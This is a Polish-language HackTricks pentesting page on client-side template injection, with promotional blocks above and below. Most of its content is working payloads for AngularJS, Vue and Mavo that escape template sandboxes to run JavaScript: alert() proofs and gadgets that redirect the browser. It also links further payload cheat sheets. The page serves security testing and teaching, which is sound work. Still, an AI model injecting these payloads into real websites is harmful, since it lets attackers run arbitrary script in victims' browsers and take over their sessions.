8.2 KiB
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
WhiteIntel
WhiteIntel to wyszukiwarka zasilana przez dark web, która oferuje darmowe funkcje do sprawdzenia, czy firma lub jej klienci zostali skompromitowani przez złośliwe oprogramowanie kradnące dane.
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:
{% embed url="https://whiteintel.io" %}
Podsumowanie
To jest jak Wstrzyknięcie Szablonu Po Stronie Serwera, ale po stronie klienta. SSTI może pozwolić Ci na wykonanie kodu na zdalnym serwerze, a CSTI może pozwolić Ci na wykonanie dowolnego kodu JavaScript w przeglądarce ofiary.
Testowanie tej podatności jest bardzo podobne jak w przypadku SSTI, interpreter oczekuje szablonu i go wykonuje. Na przykład, z ładunkiem jak {{ 7-7 }}
, jeśli aplikacja jest podatna, zobaczysz 0
, a jeśli nie, zobaczysz oryginał: {{ 7-7 }}
AngularJS
AngularJS to powszechnie używany framework JavaScript, który współdziała z HTML za pomocą atrybutów znanych jako dyrektywy, zauważalną z nich jest ng-app
. Ta dyrektywa pozwala AngularJS przetwarzać zawartość HTML, umożliwiając wykonanie wyrażeń JavaScript wewnątrz podwójnych nawiasów klamrowych.
W sytuacjach, gdy dane wprowadzane przez użytkownika są dynamicznie wstawiane do treści HTML oznaczonej jako ng-app
, możliwe jest wykonanie dowolnego kodu JavaScript. Można to osiągnąć, wykorzystując składnię AngularJS wewnątrz danych wejściowych. Poniżej znajdują się przykłady demonstrujące, jak można wykonać kod JavaScript:
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Możesz znaleźć bardzo podstawowy przykład online tej podatności w AngularJS pod adresem http://jsfiddle.net/2zs2yv7o/ oraz na stronie Burp Suite Academy
{% hint style="danger" %}
Angular 1.6 usunął piaskownicę więc od tej wersji ładunek taki jak {{constructor.constructor('alert(1)')()}}
lub <input ng-focus=$event.view.alert('XSS')>
powinien działać.
{% endhint %}
VueJS
Możesz znaleźć podatną implementację Vue pod adresem https://vue-client-side-template-injection-example.azu.now.sh/
Działający ładunek: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%
A kod źródłowy podatnego przykładu znajdziesz tutaj: https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
Naprawdę dobry post na temat CSTI w VUE można znaleźć pod adresem https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets
V3
{{_openBlock.constructor('alert(1)')()}}
Kredyt: Gareth Heyes, Lewis Ardern & PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
Kredyt: Mario Heiderich
Sprawdź więcej ładunków VUE w https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Mavo
Ładunek:
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
Więcej ładunków w https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
Lista detekcji ataków Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
WhiteIntel
WhiteIntel to wyszukiwarka zasilana przez dark web, która oferuje darmowe funkcje do sprawdzania, czy firma lub jej klienci zostali skompromitowani przez malware stealera.
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z malware kradnącego informacje.
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za darmo na:
{% embed url="https://whiteintel.io" %}
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 Grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.